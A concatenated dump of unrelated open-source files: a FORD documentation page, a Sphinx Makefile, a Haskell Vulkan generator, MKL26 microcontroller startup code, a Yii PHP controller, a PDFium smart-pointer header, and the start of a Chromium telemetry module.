<a class="list-group-item" href="../proc/pressure.html">pressure</a>
<a class="list-group-item" href="../interface/range.html">range</a>
<a class="list-group-item" href="../proc/range_int.html">range_int</a>
<a class="list-group-item" href="../proc/range_real.html">range_real</a>
<a class="list-group-item" href="../proc/readjson.html">readJSON</a>
<a class="list-group-item" href="../proc/real2d_mult_spectrum.html">real2d_mult_spectrum</a>
<a class="list-group-item" href="../proc/real_add_domain.html">real_add_domain</a>
<a class="list-group-item" href="../proc/real_add_spectrum.html">real_add_spectrum</a>
<a class="list-group-item" href="../proc/real_div_domain.html">real_div_domain</a>
<a class="list-group-item" href="../proc/real_div_spectrum.html">real_div_spectrum</a>
<a class="list-group-item" href="../proc/real_mult_domain.html">real_mult_domain</a>
<a class="list-group-item" href="../proc/real_mult_spectrum.html">real_mult_spectrum</a>
<a class="list-group-item" href="../proc/real_sub_domain.html">real_sub_domain</a>
<a class="list-group-item" href="../proc/real_sub_spectrum.html">real_sub_spectrum</a>
<a class="list-group-item" href="../proc/saturationspectrum.html">saturationSpectrum</a>
<a class="list-group-item" href="../proc/sbf_dccm2012.html">sbf_DCCM2012</a>
<a class="list-group-item" href="../proc/sbf_jonswap.html">sbf_JONSWAP</a>
<a class="list-group-item" href="../proc/sds_dccm2012.html">sds_DCCM2012</a>
<a class="list-group-item" href="../proc/sdt_dccm2012.html">sdt_DCCM2012</a>
<a class="list-group-item" href="../proc/setairdensity.html">setAirDensity</a>
<a class="list-group-item" href="../proc/setairdensity%7E2.html">setAirDensity</a>
<a class="list-group-item" href="../proc/setcurrent1d.html">setCurrent1d</a>
<a class="list-group-item" href="../proc/setcurrent2d.html">setCurrent2d</a>
<a class="list-group-item" href="../proc/setdepth.html">setDepth</a>
<a class="list-group-item" href="../proc/setdepth%7E2.html">setDepth</a>
<a class="list-group-item" href="../proc/setelevation.html">setElevation</a>
<a class="list-group-item" href="../proc/setelevation%7E2.html">setElevation</a>
<a class="list-group-item" href="../proc/setgravity.html">setGravity</a>
<a class="list-group-item" href="../proc/setgravity%7E2.html">setGravity</a>
<a class="list-group-item" href="../proc/setspectrum1d.html">setSpectrum1d</a>
<a class="list-group-item" href="../proc/setspectrum1d%7E2.html">setSpectrum1d</a>
<a class="list-group-item" href="../proc/setspectrum2d.html">setSpectrum2d</a>
<a class="list-group-item" href="../proc/setspectrum2d%7E2.html">setSpectrum2d</a>
<a class="list-group-item" href="../proc/setspectrumarray1d1d.html">setSpectrumArray1d1d</a>
<a class="list-group-item" href="../proc/setspectrumarray1d2d.html">setSpectrumArray1d2d</a>
<a class="list-group-item" href="../proc/setspectrumarray2d2d.html">setSpectrumArray2d2d</a>
<a class="list-group-item" href="../proc/setsurfacetension.html">setSurfaceTension</a>
<a class="list-group-item" href="../proc/setsurfacetension%7E2.html">setSurfaceTension</a>
<a class="list-group-item" href="../proc/setwaterdensity.html">setWaterDensity</a>
<a class="list-group-item" href="../proc/setwaterdensity%7E2.html">setWaterDensity</a>
<a class="list-group-item" href="../proc/significantsurfaceorbitalvelocity.html">significantSurfaceOrbitalVelocity</a>
<a class="list-group-item" href="../proc/significantwaveheight.html">significantWaveHeight</a>
<a class="list-group-item" href="../proc/significantwaveheight%7E2.html">significantWaveHeight</a>
<a class="list-group-item" href="../proc/sin_dccm2012.html">sin_DCCM2012</a>
<a class="list-group-item" href="../proc/snl_dccm2012.html">snl_DCCM2012</a>
<a class="list-group-item" href="../proc/spectrum_add_real.html">spectrum_add_real</a>
<a class="list-group-item" href="../proc/spectrum_add_spectrum.html">spectrum_add_spectrum</a>
<a class="list-group-item" href="../proc/spectrum_div_real.html">spectrum_div_real</a>
<a class="list-group-item" href="../proc/spectrum_div_spectrum.html">spectrum_div_spectrum</a>
<a class="list-group-item" href="../proc/spectrum_mult_real.html">spectrum_mult_real</a>
<a class="list-group-item" href="../proc/spectrum_mult_real2d.html">spectrum_mult_real2d</a>
<a class="list-group-item" href="../proc/spectrum_mult_spectrum.html">spectrum_mult_spectrum</a>
<a class="list-group-item" href="../proc/spectrum_sub_real.html">spectrum_sub_real</a>
<a class="list-group-item" href="../proc/spectrum_sub_spectrum.html">spectrum_sub_spectrum</a>
<a class="list-group-item" href="../interface/spectrum_type.html">spectrum_type</a>
<a class="list-group-item" href="../proc/spectrum_unary_minus.html">spectrum_unary_minus</a>
<a class="list-group-item" href="../proc/stokesdrift.html">stokesDrift</a>
<a class="list-group-item" href="../proc/stokesdrift2d.html">stokesDrift2d</a>
<a class="list-group-item" href="../interface/tile.html">tile</a>
<a class="list-group-item" href="../proc/tile_1d_int.html">tile_1d_int</a>
<a class="list-group-item" href="../proc/tile_1d_real.html">tile_1d_real</a>
<a class="list-group-item" href="../proc/tile_2d_int.html">tile_2d_int</a>
<a class="list-group-item" href="../proc/tile_2d_real.html">tile_2d_real</a>
<a class="list-group-item" href="../proc/tile_3d_int.html">tile_3d_int</a>
<a class="list-group-item" href="../proc/tile_3d_real.html">tile_3d_real</a>
<a class="list-group-item" href="../proc/ursellnumber.html">ursellNumber</a>
<a class="list-group-item" href="../proc/verticalacceleration.html">verticalAcceleration</a>
<a class="list-group-item" href="../proc/verticalvelocity.html">verticalVelocity</a>
<a class="list-group-item" href="../proc/waveage.html">waveAge</a>
<a class="list-group-item" href="../proc/wavenumber.html">wavenumber</a>
<a class="list-group-item" href="../proc/wavenumbermoment.html">wavenumberMoment</a>
<a class="list-group-item" href="../proc/wavenumbermoment%7E2.html">wavenumberMoment</a>
<a class="list-group-item" href="../proc/wavenumberspectrum.html">wavenumberSpectrum</a>
<a class="list-group-item" href="../proc/writejson.html">writeJSON</a>
<a class="list-group-item" href="../proc/writejson%7E2.html">writeJSON</a>
<a class="list-group-item" href="../interface/zeros.html">zeros</a>
<a class="list-group-item" href="../proc/zeros_int.html">zeros_int</a>
<a class="list-group-item" href="../proc/zeros_real.html">zeros_real</a>
</div>
</div>
</div>
</section>
<hr>
</div> <!-- /container -->
<footer>
<div class="container">
<div class="row">
<div class="col-xs-6 col-md-4"><p>© 2017 </p></div>
<div class="col-xs-6 col-md-4 col-md-push-4">
<p class="text-right">
Documentation generated by
<a href="https://github.com/cmacmackin/ford">FORD</a>
</p>
</div>
<div class="col-xs-12 col-md-4 col-md-pull-4"><p class="text-center"> wavy was developed by Wavebit Scientific LLC</p></div>
</div>
<br>
</div> <!-- /container -->
</footer>
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<!--
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
-->
<script src="../js/bootstrap.min.js"></script>
<!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
<script src="../js/ie10-viewport-bug-workaround.js"></script>
<!-- MathJax JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script type="text/x-mathjax-config">
MathJax.Hub.Config({
TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'AMS' } },
jax: ['input/TeX','input/MathML','output/HTML-CSS'],
extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js'],
'HTML-CSS': {
styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: '#000000 ! important'} }
}
});
</script>
<script src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
</body>
</html> | bsd-3-clause |
gitpython-developers/GitPython | doc/Makefile | 2347 | # Makefile for Sphinx documentation
#
# You can set these variables from the command line.
SPHINXOPTS = -W
SPHINXBUILD = sphinx-build
PAPER =
# Internal variables.
PAPEROPT_a4 = -D latex_paper_size=a4
PAPEROPT_letter = -D latex_paper_size=letter
ALLSPHINXOPTS = -d build/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source
.PHONY: help clean html web pickle htmlhelp latex changes linkcheck
help:
@echo "Please use \`make <target>' where <target> is one of"
@echo " html to make standalone HTML files"
@echo " pickle to make pickle files"
@echo " json to make JSON files"
@echo " htmlhelp to make HTML files and a HTML help project"
@echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter"
@echo " changes to make an overview over all changed/added/deprecated items"
@echo " linkcheck to check all external links for integrity"
clean:
-rm -rf build/*
html:
mkdir -p build/html build/doctrees
$(SPHINXBUILD) -b html $(ALLSPHINXOPTS) build/html
@echo
@echo "Build finished. The HTML pages are in build/html."
pickle:
mkdir -p build/pickle build/doctrees
$(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) build/pickle
@echo
@echo "Build finished; now you can process the pickle files."
web: pickle
json:
mkdir -p build/json build/doctrees
$(SPHINXBUILD) -b json $(ALLSPHINXOPTS) build/json
@echo
@echo "Build finished; now you can process the JSON files."
htmlhelp:
mkdir -p build/htmlhelp build/doctrees
$(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) build/htmlhelp
@echo
@echo "Build finished; now you can run HTML Help Workshop with the" \
".hhp project file in build/htmlhelp."
latex:
mkdir -p build/latex build/doctrees
$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) build/latex
@echo
@echo "Build finished; the LaTeX files are in build/latex."
@echo "Run \`make all-pdf' or \`make all-ps' in that directory to" \
"run these through (pdf)latex."
changes:
mkdir -p build/changes build/doctrees
$(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) build/changes
@echo
@echo "The overview file is in build/changes."
linkcheck:
mkdir -p build/linkcheck build/doctrees
$(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) build/linkcheck
@echo
@echo "Link check complete; look for any errors in the above output " \
"or in build/linkcheck/output.txt."
| bsd-3-clause |
oldmanmike/vulkan | generate/src/Write/Type/Handle.hs | 1416 | {-# LANGUAGE QuasiQuotes #-}
module Write.Type.Handle
( writeHandleType
) where
import Data.String
import Language.C.Types as C
import Spec.Type
import Text.InterpolatedString.Perl6
import Text.PrettyPrint.Leijen.Text hiding ((<$>))
import Write.TypeConverter
import Write.Utils
import Write.WriteMonad
writeHandleType :: HandleType -> Write Doc
writeHandleType ht =
let cType = htCType ht
in case cType of
Ptr [] t@(TypeDef (Struct _)) -> writeDispatchableHandleType ht t
t@(TypeDef (TypeName _)) -> writeNonDispatchableHandleType ht t
t -> error ("Unhandled handle type " ++ show t ++
", have more been added to the spec?")
writeDispatchableHandleType :: HandleType -> CType -> Write Doc
writeDispatchableHandleType ht t = do
tellRequiredName (ExternalName (ModuleName "Foreign.Ptr") "Ptr")
hsType <- cTypeToHsTypeString t
pure [qc|data {hsType}
type {htName ht} = Ptr {hsType}
|]
writeNonDispatchableHandleType :: HandleType -> CType -> Write Doc
writeNonDispatchableHandleType ht t = do
doesDeriveStorable
hsType <- cTypeToHsTypeString t
boot <- isBoot
let derivingString :: Doc
derivingString = if boot
then [qc|
instance Eq {htName ht}
instance Storable {htName ht}|]
else fromString "deriving (Eq, Storable)"
pure [qc|newtype {htName ht} = {htName ht} {hsType}
{derivingString}
|]
| bsd-3-clause |
hackerspacesv/contiki-hssv | cpu/mkl26z64/mkl26-startup.c | 16042 | //+------------------------------------------------------------------------------------------------+
//| Kinetis MKL26 microcontroller initialization code. |
//| |
//| This file implements very basic microcontroller code infrastructure such as the vector table, |
//| processor and peripheral initialization, memory initialization and non-volatile configuration |
//| bits. |
//| |
//| Author: Joksan Alvarado. |
//+------------------------------------------------------------------------------------------------+
#include <stdint.h>
#include "contiki-conf.h"
#include "mkl26.h"
#include "mkl26-sim.h"
#include "mkl26-smc.h"
#include "mkl26-osc.h"
#include "mkl26-mcg.h"
#include "gpio.h"
//Interrupt vector handler function type.
typedef void (* handler_t)();
//Flash configuration field structure.
struct flash_configuration_field_type {
uint8_t backdoor_comparison_key[8];
uint8_t FPROT[4];
uint8_t FSEC;
uint8_t FOPT;
uint8_t reserved0;
uint8_t reserved1;
};
//Symbols exported by the linker script.
extern uint32_t __stack_end__;
extern const uint32_t __relocate_flash_start__;
extern uint32_t __relocate_sram_start__;
extern uint32_t __relocate_sram_end__;
extern uint32_t __bss_start__;
extern uint32_t __bss_end__;
//External functions invoked by startup code.
extern int main();
//--------------------------------------------------------------------------------------------------
//Startup routine, located at reset vector.
void startup() {
const uint32_t *flash;
uint32_t *sram;
//Common initialization.
//------------------------------------------------------------------------------------------------
//Disable the watchdog.
SIM->COPC = SIM_COPC_COPW_Normal | SIM_COPC_COPCLKS_Int_1kHz | SIM_COPC_COPT_Disabled;
//Enable the clocks of all ports.
SIM->SCGC5 = SIM_SCGC5_PORTA_Enabled | SIM_SCGC5_PORTB_Enabled | SIM_SCGC5_PORTC_Enabled |
SIM_SCGC5_PORTD_Enabled | SIM_SCGC5_PORTE_Enabled;
#if CONTIKI_TARGET_TEENSY_LC
//Disable JTAG port pins so the debug module doesn't keep the system from entering into VLPS mode.
GPIO_PIN_MODE_ANALOG(PTA3);
GPIO_PIN_MODE_ANALOG(PTA0);
#endif
//Enable all power modes.
SMC->PMPROT = SMC_PMPROT_AVLP_Allowed | SMC_PMPROT_ALLS_Allowed | SMC_PMPROT_AVLLS_Allowed;
//Power profile based initialization.
//------------------------------------------------------------------------------------------------
#if MKL26_POWER_PROFILE == MKL26_POWER_PROFILE_PERFORMANCE_48MHZ_PLL
//Configure the 16MHz external oscillator.
OSC->CR = OSC_CR_ERCLKEN_Enabled | OSC_CR_SC2P_Enabled | OSC_CR_SC8P_Enabled;
MCG->C2 = MCG_C2_RANGE0_Very_High | MCG_C2_HGO0_Low_Power | MCG_C2_EREFS_Oscillator;
//Switch to FBE (FLL bypassed external) mode while changing the reference to external. This causes
//the external oscillator to start up.
MCG->C1 = MCG_C1_CLKS_External | MCG_C1_FRDIV_Div_16_512 | MCG_C1_IREFS_External;
//Note: FRDIV is set to 512 just to set an input frequency of 16MHz/512 = 31.25KHz to the FLL
//(which requires a value around 32.768KHz). It's not really used.
//Wait for the system clocks to transition to the new state.
while ((MCG->S & MCG_S_OSCINIT0_Msk) != MCG_S_OSCINIT0_Ready); //Wait for external oscillator
while ((MCG->S & MCG_S_IREFST_Msk) != MCG_S_IREFST_External); //Wait for reference switch
while ((MCG->S & MCG_S_CLKST_Msk) != MCG_S_CLKST_External); //Wait for system clock switch
//We're running on the external crystal now. Set the PLL external reference divider to divide by
//8, to get an input reference of 2MHz.
MCG->C5 = MCG_C5_PRDIV0_Div_8;
//Transition to PBE (PLL bypassed external) mode. This causes to PLL to start up. Set the
//multiplier to 48. Final frequency will be 2MHz * 48 = 96MHz.
MCG->C6 = MCG_C6_PLLS_PLL | MCG_C6_VDIV0_Div_48;
//Wait for the PLL to become ready.
while ((MCG->S & MCG_S_PLLST_Msk) != MCG_S_PLLST_PLL); //Wait for the PLL to be selected
while ((MCG->S & MCG_S_LOCK0_Msk) != MCG_S_LOCK0_Locked); //Wait for the PLL to lock
//Configure all prescalers. Core runs at 48MHz, bus and flash run at 24MHz.
SIM->CLKDIV1 = ((1 << SIM_CLKDIV1_OUTDIV1_Pos) & SIM_CLKDIV1_OUTDIV1_Msk) | //96MHz / 2 = 48MHz
((1 << SIM_CLKDIV1_OUTDIV4_Pos) & SIM_CLKDIV1_OUTDIV4_Msk); //48MHz / 2 = 24MHz
//Transition into PEE (PLL engaged external) mode. Keep the FRDIV and IRFEFS settings unchanged.
MCG->C1 = MCG_C1_CLKS_FLL_PLL | MCG_C1_FRDIV_Div_16_512 | MCG_C1_IREFS_External;
//Wait for the PLL to be selected as a system clock source.
while ((MCG->S & MCG_S_CLKST_Msk) != MCG_S_CLKST_PLL);
//Select the PLL/2 source (48MHz) for all peripherals that have it as an option (TPM, USB0, UART0
//and I2S0)
SIM->SOPT2 = SIM_SOPT2_PLLFLLSEL_MCGPLLCLK_Div2;
#elif MKL26_POWER_PROFILE == MKL26_POWER_PROFILE_LOWPOWER_4MHZ_INTREF
//Switch to FBI mode (FLL bypassed internal), enable the internal reference for use as MCGIRCLK
//and enable the internal reference during stop mode.
MCG->C1 = MCG_C1_CLKS_Internal | MCG_C1_FRDIV_Div_1_32 | MCG_C1_IREFS_Internal |
MCG_C1_IRCLKEN_Enabled | MCG_C1_IREFSTEN_Enabled;
//Note: Leave the FLL reference to the default 32.768 internal clock. It's not really used.
//Wait for the clock to switch to internal reference.
while ((MCG->S & MCG_S_CLKST_Msk) != MCG_S_CLKST_Internal);
//We're runing on the 32kHz internal clock now. Prepare the fast internal clock reference by
//setting the divider to 1 so output frequency is 4MHz.
MCG->SC = MCG_SC_FCRDIV_Div_1;
//Switch to BLPI mode (Bypassed Low Power Internal) and use the fast internal clock reference.
MCG->C2 = MCG_C2_LP_Set | MCG_C2_IRCS_Fast;
//Wait for the internal reference to switch to the fast internal clock.
while ((MCG->S & MCG_S_IRCST_Msk) != MCG_S_IRCST_Fast);
//Configure all prescalers. Core runs at 4MHz, bus and flash run at 2MHz.
SIM->CLKDIV1 = ((0 << SIM_CLKDIV1_OUTDIV1_Pos) & SIM_CLKDIV1_OUTDIV1_Msk) | //4MHz / 1 = 4MHz
((1 << SIM_CLKDIV1_OUTDIV4_Pos) & SIM_CLKDIV1_OUTDIV4_Msk); //4MHz / 2 = 2MHz
//Configure the USB voltage regulator to enter in standby mode during any of the stop modes.
SIM->SOPT1CFG |= SIM_SOPT1CFG_USSWE_W_Enable; //Enable writing to USBSSTBY
SIM->SOPT1 = SIM_SOPT1_USBSSTBY_Standby;
//Set the stop mode to VLPS (Very Low Power Stop). Also set the SLEEPDEEP bit in the System
//Control Register so the stop mode becomes effective.
SMC->PMCTRL = SMC_PMCTRL_STOPM_VLPS;
SCB->SCR = SCB_SCR_SLEEPDEEP_Msk;
#elif MKL26_POWER_PROFILE == MKL26_POWER_PROFILE_LOWPOWER_4MHZ_EXTREF
//Switch to FBI mode (FLL bypassed internal), enable the internal reference for use as MCGIRCLK
//and disable the internal reference during stop mode.
MCG->C1 = MCG_C1_CLKS_Internal | MCG_C1_FRDIV_Div_1_32 | MCG_C1_IREFS_Internal |
MCG_C1_IRCLKEN_Enabled | MCG_C1_IREFSTEN_Disabled;
//Note: Leave the FLL reference to the default 32.768 internal clock. It's not really used.
//Wait for the clock to switch to internal reference.
while ((MCG->S & MCG_S_CLKST_Msk) != MCG_S_CLKST_Internal);
//We're runing on the 32kHz internal clock now. Prepare the fast internal clock reference by
//setting the divider to 1 so output frequency is 4MHz.
MCG->SC = MCG_SC_FCRDIV_Div_1;
//Switch to BLPI mode (Bypassed Low Power Internal) and use the fast internal clock reference.
MCG->C2 = MCG_C2_LP_Set | MCG_C2_IRCS_Fast;
//Wait for the internal reference to switch to the fast internal clock.
while ((MCG->S & MCG_S_IRCST_Msk) != MCG_S_IRCST_Fast);
//Configure all prescalers. Core runs at 4MHz, bus and flash run at 2MHz.
SIM->CLKDIV1 = ((0 << SIM_CLKDIV1_OUTDIV1_Pos) & SIM_CLKDIV1_OUTDIV1_Msk) | //4MHz / 1 = 4MHz
((1 << SIM_CLKDIV1_OUTDIV4_Pos) & SIM_CLKDIV1_OUTDIV4_Msk); //4MHz / 2 = 2MHz
//Configure the USB voltage regulator to enter in standby mode during any of the stop modes. Set
//the 32kHz clock source for RTC and LPTMR to the CLKIN pin.
SIM->SOPT1CFG |= SIM_SOPT1CFG_USSWE_W_Enable; //Enable writing to USBSSTBY
SIM->SOPT1 = SIM_SOPT1_USBSSTBY_Standby | SIM_SOPT1_OSC32KSEL_RTC_CLKIN;
GPIO_PIN_MODE_INPUT(PTC1); //Set the PTC1 pin mode to GPIO input to accept clock signal
//Note: On teensy-lc platform, the CLKIN pin is located at board pin 22.
//Set the stop mode to VLPS (Very Low Power Stop). Also set the SLEEPDEEP bit in the System
//Control Register so the stop mode becomes effective.
SMC->PMCTRL = SMC_PMCTRL_STOPM_VLPS;
SCB->SCR = SCB_SCR_SLEEPDEEP_Msk;
#else
#error "Unsupported power profile"
#endif
//Memory initialization.
//------------------------------------------------------------------------------------------------
//Copy the initial data for the data section from FLASH to RAM.
flash = &__relocate_flash_start__;
sram = &__relocate_sram_start__;
while (sram < &__relocate_sram_end__)
*sram++ = *flash++;
//Initialize the .bss section to zeroes.
sram = &__bss_start__;
while (sram < &__bss_end__)
*sram++ = 0;
//System is up. Call the main function.
main();
}
//Default interrupt handler.
static void unused_handler() {
//The default unused handler does nothing, just stalls the CPU.
for (;;);
}
//--------------------------------------------------------------------------------------------------
//Weak references for core system handler vectors.
void __attribute__((weak, alias("unused_handler"))) nmi_handler();
void __attribute__((weak, alias("unused_handler"))) hard_fault_handler();
void __attribute__((weak, alias("unused_handler"))) svcall_handler();
void __attribute__((weak, alias("unused_handler"))) pendablesrvreq_handler();
void __attribute__((weak, alias("unused_handler"))) systick_handler();
//Weak references for non-core (peripheral) vectors.
void __attribute__((weak, alias("unused_handler"))) dma_channel_0_handler();
void __attribute__((weak, alias("unused_handler"))) dma_channel_1_handler();
void __attribute__((weak, alias("unused_handler"))) dma_channel_2_handler();
void __attribute__((weak, alias("unused_handler"))) dma_channel_3_handler();
void __attribute__((weak, alias("unused_handler"))) flash_memory_module_handler();
void __attribute__((weak, alias("unused_handler"))) low_voltage_handler();
void __attribute__((weak, alias("unused_handler"))) low_leakage_wakeup_handler();
void __attribute__((weak, alias("unused_handler"))) i2c_0_handler();
void __attribute__((weak, alias("unused_handler"))) i2c_1_handler();
void __attribute__((weak, alias("unused_handler"))) spi_0_handler();
void __attribute__((weak, alias("unused_handler"))) spi_1_handler();
void __attribute__((weak, alias("unused_handler"))) uart_0_handler();
void __attribute__((weak, alias("unused_handler"))) uart_1_handler();
void __attribute__((weak, alias("unused_handler"))) uart_2_handler();
void __attribute__((weak, alias("unused_handler"))) adc_0_handler();
void __attribute__((weak, alias("unused_handler"))) cmp_0_handler();
void __attribute__((weak, alias("unused_handler"))) tpm_0_handler();
void __attribute__((weak, alias("unused_handler"))) tpm_1_handler();
void __attribute__((weak, alias("unused_handler"))) tpm_2_handler();
void __attribute__((weak, alias("unused_handler"))) rtc_alarm_handler();
void __attribute__((weak, alias("unused_handler"))) rtc_seconds_handler();
void __attribute__((weak, alias("unused_handler"))) pit_handler();
void __attribute__((weak, alias("unused_handler"))) i2s_0_handler();
void __attribute__((weak, alias("unused_handler"))) usb_otg_handler();
void __attribute__((weak, alias("unused_handler"))) dac_0_handler();
void __attribute__((weak, alias("unused_handler"))) tsi_0_handler();
void __attribute__((weak, alias("unused_handler"))) mcg_handler();
void __attribute__((weak, alias("unused_handler"))) lptmr_0_handler();
void __attribute__((weak, alias("unused_handler"))) port_a_handler();
void __attribute__((weak, alias("unused_handler"))) port_c_d_handler();
//--------------------------------------------------------------------------------------------------
//Processor vector table, located at 0x00000000.
static __attribute__ ((section(".vectors"), used))
handler_t const vectors[48] = {
//Core system handler vectors.
(handler_t) &__stack_end__, //0 - Initial stack pointer
startup, //1 - Initial program counter
nmi_handler, //2 - Non maskable interrupt
hard_fault_handler, //3 - Hard fault
unused_handler, //4
unused_handler, //5
unused_handler, //6
unused_handler, //7
unused_handler, //8
unused_handler, //9
unused_handler, //10
svcall_handler, //11 - Supervisor call
unused_handler, //12
unused_handler, //13
pendablesrvreq_handler, //14 - Pendable request for system service
systick_handler, //15 - System tick timer
//Non-core vectors.
dma_channel_0_handler, //16 - DMA channel 0 transfer complete and error
dma_channel_1_handler, //17 - DMA channel 1 transfer complete and error
dma_channel_2_handler, //18 - DMA channel 2 transfer complete and error
dma_channel_3_handler, //19 - DMA channel 3 transfer complete and error
unused_handler, //20
flash_memory_module_handler, //21 - Flash memory module command complete and read collision
low_voltage_handler, //22 - Low voltage detect and low voltage warning interrupt
low_leakage_wakeup_handler, //23 - Low leakage wake up
i2c_0_handler, //24 - I2C 0
i2c_1_handler, //25 - I2C 1
spi_0_handler, //26 - SPI 0
spi_1_handler, //27 - SPI 1
uart_0_handler, //28 - UART 0 status and error
uart_1_handler, //29 - UART 1 status and error
uart_2_handler, //30 - UART 2 status and error
adc_0_handler, //31 - ADC 0
cmp_0_handler, //32 - CMP 0
tpm_0_handler, //33 - TPM 0
tpm_1_handler, //34 - TPM 1
tpm_2_handler, //35 - TPM 2
rtc_alarm_handler, //36 - RTC alarm interrupt
rtc_seconds_handler, //37 - RTC seconds interrupt
pit_handler, //38 - PIT (all channels)
i2s_0_handler, //39 - I2S
usb_otg_handler, //40 - USB OTG
dac_0_handler, //41 - DAC 0
tsi_0_handler, //42 - TSI 0
mcg_handler, //43 - MCG
lptmr_0_handler, //44 - Low power timer
unused_handler, //45
port_a_handler, //46 - Port A pin detect
port_c_d_handler, //47 - Port C and D pin detect
};
//--------------------------------------------------------------------------------------------------
//Flash configuration field instance, located at 0x00000400.
static __attribute__ ((section(".flash_configuration_field"), used))
struct flash_configuration_field_type flash_config = {
.backdoor_comparison_key = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, },
.FPROT = { 0xFF, 0xFF, 0xFF, 0xFF, },
.FSEC = 0xFE, //Disable backdoor access and security, enable mass erase and factory access.
.FOPT = 0xFB, //Fast initialization, RESET_b as reset, disable NMI, OUTDIV1 is 0 (high speed)
.reserved0 = 0xFF,
.reserved1 = 0xFF,
};
| bsd-3-clause |
ocrm/crm | backend/controllers/settings/DetailsController.php | 1893 | <?php
namespace backend\controllers\settings;
use Yii;
use yii\filters\AccessControl;
use yii\web\Controller;
use yii\filters\VerbFilter;
use backend\models\settings\Details;
use yii\web\User;
/**
* Site controller
*/
class DetailsController extends Controller
{
/**
* @inheritdoc
*/
public function behaviors()
{
return [
'access' => [
'class' => AccessControl::className(),
'rules' => [
[
'actions' => ['login', 'error'],
'allow' => true,
],
[
'actions' => ['index'],
'allow' => true,
'roles' => ['@'],
'matchCallback' => function ($rule, $action) {
return (Yii::$app->user->identity->access > 50)? true : false;
}
],
],
],
'verbs' => [
'class' => VerbFilter::className(),
'actions' => [
'logout' => ['post'],
],
],
];
}
/**
* @inheritdoc
*/
public function actions()
{
return [
'error' => [
'class' => 'yii\web\ErrorAction',
],
];
}
public function actionIndex()
{
$model = Details::findOne(1);
if($model->load(Yii::$app->request->post()) && $model->validate()){
$model->save();
Yii::$app->getSession()->setFlash('success', 'Изменения сохранены');
return $this->redirect(['/settings/details/index']);
}
return $this->render('form',[
'model' => $model,
'action' => 'update',
]);
}
}
| bsd-3-clause |
DrAlexx/pdfium | core/fxcrt/cfx_retain_ptr.h | 2929 | // Copyright 2016 PDFium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CORE_FXCRT_CFX_RETAIN_PTR_H_
#define CORE_FXCRT_CFX_RETAIN_PTR_H_
#include <functional>
#include <memory>
#include <utility>
#include "core/fxcrt/fx_memory.h"
// Analogous to base's scoped_refptr.
template <class T>
class CFX_RetainPtr {
public:
explicit CFX_RetainPtr(T* pObj) : m_pObj(pObj) {
if (m_pObj)
m_pObj->Retain();
}
CFX_RetainPtr() {}
CFX_RetainPtr(const CFX_RetainPtr& that) : CFX_RetainPtr(that.Get()) {}
CFX_RetainPtr(CFX_RetainPtr&& that) { Swap(that); }
// Deliberately implicit to allow returning nullptrs.
CFX_RetainPtr(std::nullptr_t ptr) {}
template <class U>
CFX_RetainPtr(const CFX_RetainPtr<U>& that) : CFX_RetainPtr(that.Get()) {}
template <class U>
CFX_RetainPtr<U> As() const {
return CFX_RetainPtr<U>(static_cast<U*>(Get()));
}
void Reset(T* obj = nullptr) {
if (obj)
obj->Retain();
m_pObj.reset(obj);
}
T* Get() const { return m_pObj.get(); }
void Swap(CFX_RetainPtr& that) { m_pObj.swap(that.m_pObj); }
// TODO(tsepez): temporary scaffolding, to be removed.
T* Leak() { return m_pObj.release(); }
void Unleak(T* ptr) { m_pObj.reset(ptr); }
CFX_RetainPtr& operator=(const CFX_RetainPtr& that) {
if (*this != that)
Reset(that.Get());
return *this;
}
bool operator==(const CFX_RetainPtr& that) const {
return Get() == that.Get();
}
bool operator!=(const CFX_RetainPtr& that) const { return !(*this == that); }
bool operator<(const CFX_RetainPtr& that) const {
return std::less<T*>()(Get(), that.Get());
}
explicit operator bool() const { return !!m_pObj; }
T& operator*() const { return *m_pObj.get(); }
T* operator->() const { return m_pObj.get(); }
private:
std::unique_ptr<T, ReleaseDeleter<T>> m_pObj;
};
// Trivial implementation - internal ref count with virtual destructor.
class CFX_Retainable {
public:
bool HasOneRef() const { return m_nRefCount == 1; }
protected:
virtual ~CFX_Retainable() {}
private:
template <typename U>
friend struct ReleaseDeleter;
template <typename U>
friend class CFX_RetainPtr;
void Retain() { ++m_nRefCount; }
void Release() {
ASSERT(m_nRefCount > 0);
if (--m_nRefCount == 0)
delete this;
}
intptr_t m_nRefCount = 0;
};
namespace pdfium {
// Helper to make a CFX_RetainPtr along the lines of std::make_unique<>(),
// or pdfium::MakeUnique<>(). Arguments are forwarded to T's constructor.
// Classes managed by CFX_RetainPtr should have protected (or private)
// constructors, and should friend this function.
template <typename T, typename... Args>
CFX_RetainPtr<T> MakeRetain(Args&&... args) {
return CFX_RetainPtr<T>(new T(std::forward<Args>(args)...));
}
} // namespace pdfium
#endif // CORE_FXCRT_CFX_RETAIN_PTR_H_
| bsd-3-clause |
OpenBuildings/promotions | classes/Jam/Behavior/Promotable/Purchase.php | 153 | <?php defined('SYSPATH') OR die('No direct access allowed.');
class Jam_Behavior_Promotable_Purchase extends Kohana_Jam_Behavior_Promotable_Purchase {}
| bsd-3-clause |
catapult-project/catapult-csm | telemetry/telemetry/internal/browser/browser_finder.py | 6167 | # Copyright 2012 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Finds browsers that can be controlled by telemetry."""
import logging
from telemetry import decorators
from telemetry.internal.backends.chrome import android_browser_finder
